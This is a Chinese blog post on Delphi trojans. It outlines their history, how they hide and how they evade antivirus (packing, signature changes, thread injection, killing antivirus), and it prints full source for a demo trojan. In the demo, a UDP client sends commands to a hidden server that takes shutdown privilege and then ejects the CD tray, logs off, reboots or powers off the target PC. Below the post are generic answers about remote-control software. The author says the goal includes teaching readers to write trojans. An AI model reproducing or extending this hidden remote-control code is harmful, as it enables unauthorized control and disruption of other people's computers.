delphi 远程控制《1》

   此文章只是个提纲挈领地概述了木马的一些基本概念和简要的发展历程,提供了一小段参考代码(Delphi7编译,Windows2000 SP4 和Windows XP SP2 测试通过);
后面的文章将详细讨论关于木马、远程控制软件和病毒(严格意义上的病毒并不包含木马程序)的一些异同,以及合法程序改造成木马、嵌套木马等问题;
目的是希望大家了解木马、熟悉木马技术,破除神秘感,能够手工清除木马,甚至能够编写木马程序------知己知彼,百战不殆。
-------------------------------------------------------------------
         最近和集团的同事谈起关于木马的话题,同事不是做软件工作的,觉得木马很神奇,可以不知不觉地控制别人的电脑或者窃取别人的信息,为了解释木马的原理我就顺便写了一个演示用的木马程序在他的机器上小试了一下,这个演示的木马功能很简单:可以打开对方的光驱,关闭光驱,使被控端的电脑注销用户、重启和关机。因为是演示用,只实现了很简单的隐藏,而且未加入启动项,Server端同样使用VCL,未做简化(实用的Server端应该避免使用VCL,使用API编程,减小体积,便于隐藏)。
         其实木马的原理并不复杂,它只要完成两件事就可以称之为木马:隐藏自己和传递信息(向内部传递控制信息和向外传递窃取的敏感信息)。木马是非授权的通信类软件,除了非授权性和隐蔽性的特点外,和其他通信类软件几乎没什么区别。
         木马按功能分为:单一功能的木马和复合功能的木马。
         单一功能的木马像早期的查看屏幕的木马LookMe和最近流行的各种盗取QQ号、游戏账号、银行账号的木马,这类木马一般只有一个服务程序,做好隐藏就可以了,窃取的信息一般通过邮件的方式传递。
         复合功能的木马功能复杂,比如:可以上传下载对方的文件,查看屏幕,记录键盘序列,修改注册表,控制进程等,以致完全可以控制整个服务端的主机;这类木马常做成C/S结构,Server端完成隐藏和传递信息的功能,Client端发送命令控制Server端,有很多例子:BO,Sub7,冰河,NetSpy,YAI,黑洞,广外女生,网络神偷,聪明基因,灰鸽子等。
         隐藏和传递信息的方式也逐步升级:早期的server端监听端口,被动连接,冰河是最经典的代表;后来为了突破防火墙出现了反弹端口,主动连接方式,网络神偷算是第一个吃螃蟹的人;最近比较热门的就是线程插入技术,目的是为了隐藏进程,躲避查杀。为了防止被查杀,这个过程中木马的生成机制也发生的了很多变化:加壳,修改特征码,嵌套木马,合法程序改造成木马或者直接杀掉杀毒软件等方式。
         下面是简单的演示代码,使用IdUDP组件(UDP协议),只作理解原理的参考。
         很有趣的是我在写完这个Server端的程序按下F9运行的时候,NOD32居然提示感染了未知病毒,直接把Server程序隔离了。后来查明程序中取得了用户权限后调用ExitWindowsEx()函数时被怀疑感染了病毒,但是单独取出这部分的关机代码却不能激活杀毒软件,看来NOD32是靠行为来判断未知病毒的--NOD32不愧为最好的预测未知病毒的杀毒软件。
§控制端§
 
§发现未知病毒§
 
Client端源码:
//----------------------------------------------------------------

//                                               //
//         Client Demo               //
//           2007.1.5                   //
//                                               //

unit MainFrm;
interface
uses
   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
   Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdUDPBase, IdUDPClient;
type
   TfrmMain = class(TForm)
       edtHost: TEdit;
       edtPort: TEdit;
       lblHost: TLabel;
       Label2: TLabel;
       btnOpen_CDROM: TButton;
       btnClose_CDROM: TButton;
       btnLoginOff: TButton;
       btnReboot: TButton;
       btnShutDown: TButton;
       lblCmd: TLabel;
       edtCmd: TEdit;
       IdUDPClient1: TIdUDPClient;
       procedure btnOpen_CDROMClick(Sender: TObject);
       procedure btnClose_CDROMClick(Sender: TObject);
       procedure btnLoginOffClick(Sender: TObject);
       procedure btnRebootClick(Sender: TObject);
       procedure btnShutDownClick(Sender: TObject);
   private
           procedure SendCmd(AHost, APort, CmdStr:string);   //声明:发送命令共用过程
       { Private declarations }
   public
       { Public declarations }
   end;
var
   frmMain: TfrmMain;
implementation
{$R *.dfm}
procedure TfrmMain.SendCmd(AHost, APort, CmdStr:string);     //实现:发送命令共用过程
begin
           IdUDPClient1.Host:=AHost;
           IdUDPClient1.Port:=StrToInt(APort);
           IdUDPClient1.Send(CmdStr);
end;
procedure TfrmMain.btnOpen_CDROMClick(Sender: TObject);     //打开光驱
begin
           SendCmd(edtHost.Text, edtPort.Text, 'Open_CDROM');
end;
procedure TfrmMain.btnClose_CDROMClick(Sender: TObject);   //关闭光驱
begin
           SendCmd(edtHost.Text, edtPort.Text, 'Close_CDROM');
end;
procedure TfrmMain.btnLoginOffClick(Sender: TObject);   //注销
begin
           SendCmd(edtHost.Text, edtPort.Text, 'LoginOff');
end;
procedure TfrmMain.btnRebootClick(Sender: TObject);     //重启
begin
           SendCmd(edtHost.Text, edtPort.Text, 'Reboot');
end;
procedure TfrmMain.btnShutDownClick(Sender: TObject);   //关机
begin
           SendCmd(edtHost.Text, edtPort.Text, 'ShutDown');
end;
end.
 
//----------------------------------------------------------------
 
Server端源码:
注:在工程文件的 Application.Run; 语句前添加Application.ShowMainForm:=False; 语句以使程序运行时隐藏窗体;
并创建互斥对象,避免二次运行;
//----------------------------------------------------------------

//                                               //
//         Server Demo               //
//           2007.1.5                   //
//                                               //
unit MainFrm;
interface
uses
   Windows, Messages,  SysUtils, Variants, Classes, Graphics, Controls, Forms,
   Dialogs, IdBaseComponent, IdComponent, IdUDPBase, IdUDPServer, IdSocketHandle,
   MMSystem, ShellAPI;
type
   TfrmMain = class(TForm)
       IdUDPServer1: TIdUDPServer;
       procedure IdUDPServer1UDPRead(Sender: TObject; AData: TStream;
           ABinding: TIdSocketHandle);
   private
           procedure GetPrivilege;           //声明:获取登录用户权限
       { Private declarations }
   public
       { Public declarations }
   end;
var
   frmMain: TfrmMain;
implementation
{$R *.dfm}
procedure TfrmMain.GetPrivilege;           //获取登录用户权限
var
           NewState:TTokenPrivileges;
           lpLuid:Int64;
           ReturnLength:DWord;
           ToKenHandle:Cardinal;
begin
           OpenProcessToken(GetCurrentProcess,
                       TOKEN_ADJUST_PRIVILEGES
                       OR TOKEN_ALL_ACCESS
                       OR STANDARD_RIGHTS_REQUIRED
                       OR TOKEN_QUERY,ToKenHandle);
           LookupPrivilegeValue(nil,'SeShutdownPrivilege',lpLuid);
           NewState.PrivilegeCount:=1;
           NewState.Privileges[0].Luid:=lpLuid;
           NewState.Privileges[0].Attributes:=SE_PRIVILEGE_ENABLED;
           ReturnLength:=0;
           AdjustTokenPrivileges(ToKenHandle,False,NewState,0,nil,ReturnLength);
end;
procedure TfrmMain.IdUDPServer1UDPRead(Sender: TObject; AData: TStream;   //读取内存流数据
   ABinding: TIdSocketHandle);
var
           ReadCmd:TStringList;     //定义接受命令字符串列表
           CmdList:TStringList;     //定义命令列表
begin
           ReadCmd:=TStringList.Create;                   //创建接受命令字符串列表
           CmdList:=TStringList.Create;                   //创建命令字符串列表
           try
                       CmdList.Add('Open_CDROM');
                       CmdList.Add('Close_CDROM');
                       CmdList.Add('LoginOff');
                       CmdList.Add('Reboot');
                       CmdList.Add('ShutDown');
                       ReadCmd.LoadFromStream(AData);   //从内存流中取得数据
                       case CmdList.IndexOf(ReadCmd.Strings[0]) of
                       0: mciSendString('Set CDAudio door open wait',nil,0,handle);   //打开光驱
                       1: mciSendString('Set CDAudio door closed wait',nil,0,handle); //关闭光驱
                       2:
                                   begin
                                               GetPrivilege;
                                               ExitWindowsEx(EWX_LOGOFF, 0);   //注销用户
                                   end;
                       3:
                                   begin
                                               GetPrivilege;
                                               ExitWindowsEx(EWX_REBOOT, 0);     //重启
                                   end;
                       4:
                                   begin
                                               GetPrivilege;
                                               ExitWindowsEx(EWX_SHUTDOWN OR EWX_POWEROFF, 0); //关机
                                   end;
                       end;
           finally
                       ReadCmd.Free;     //释放接受命令字符串列表
                       CmdList.Free;     //释放命令列表
           end;
end;
end.
//----------------------------------------------------------------
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: Delphi远程控制源码通常指的是使用Delphi编程语言开发的用于远程控制计算机的程序。远程控制是指通过网络连接控制远程计算机的操作,这对于维护和管理网络设备非常重要。远程控制源码包括了程序实现的方法和实现过程中所需要的各种工具和组件。 开发Delphi远程控制源码需要掌握计算机网络和Delphi编程语言的知识。Delphi编程语言有丰富的网络编程组件和API可以实现远程控制功能。开发远程控制源码需要了解网络传输协议,如TCP/IP协议,需要知道计算机远程控制协议如VNC、RDP和SSH等协议的实现方法。 在开发Delphi远程控制源码时,需要使用各种开源的第三方组件和工具,如Indy网络组件、Zeos数据库组件、Microsoft Remote Desktop ActiveX控件等。需要熟练运用网络编程、线程编程、安全编程等技术,确保程序可以正确地进行远程连接和操作,并保证安全和可靠性。 总之,开发Delphi远程控制源码需要掌握多种技术和组件,需要熟悉和了解计算机网络和远程控制协议的实现方法,需要综合运用各种技术和组件,才能开发出满足实际需求的远程控制软件。 ### 回答2: Delphi远程控制源码是用于控制远程计算机的程序源代码,它通常用于远程管理、远程协助和远程故障排除等场景。在实际应用中,Delphi远程控制源码需要结合网络编程知识以及计算机操作系统技术才能实现远程控制的功能。 Delphi远程控制源码通常包括客户端和服务器端两部分。客户端需要通过网络连接到服务器端,向服务器发送控制指令,并接收服务器返回的控制结果。而服务器端则需要解析客户端发送的指令,执行相应的操作,并将操作结果返回给客户端。 具体来说,Delphi远程控制源码包括以下功能实现: 1. 连接管理:通过Socket编程实现客户端与服务器端之间的连接,包括连接建立、连接维护、断开连接等操作。 2. 远程控制命令处理:解析客户端发送的控制命令,根据命令内容执行相应的操作,如打开文件、关闭进程、重启计算机等。 3. 屏幕捕捉和传输:远程控制涉及到对受控计算机桌面的实时观察和操作,因此需要实现屏幕截图和传输功能,以便客户端实时观察远程计算机屏幕上的情况。 4. 按键和鼠标事件模拟:通过模拟键盘和鼠标操作实现对远程计算机的控制,如模拟鼠标移动、点击、滚轮等操作,以及模拟键盘按键等操作。 总之,Delphi远程控制源码是一种用于实现远程控制功能的程序源代码。在实际应用中,它需要结合网络编程知识和计算机操作系统技术才能实现远程控制的功能。 ### 回答3: Delphi是一种高级编程语言,用于开发Windows应用程序和跨平台解决方案。远程控制源码是指开发人员使用Delphi编写的程序代码,该代码可以在基于网络的环境下通过远程访问来控制远程计算机的操作。 远程控制源码可以包含很多功能,例如远程桌面控制、文件传输、远程命令执行、远程监控等。它们通常需要基于TCP/IP协议开发,并采用客户端-服务器模式进行设计。 在Delphi中,开发人员可以使用各种组件库和工具来实现远程控制功能,如Indy、Synapse、ICS等。这些组件提供了网络编程所需的各种功能,例如TCP、UDP、HTTP、FTP等协议支持、线程池、IO多路复用、SSL、代理服务器等。使用这些组件,开发人员可以轻松编写高效稳定的远程控制程序。 对于远程控制源码的开发和实现,需要掌握网络编程、线程编程、跨平台解决方案等方面的知识。同时,还需要注意安全问题,例如防止未授权访问、防止SQL注入、数据加密等。 总之,Delphi远程控制源码的开发需要有一定的编程技能和经验,以确保程序的功能稳定、安全可靠。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值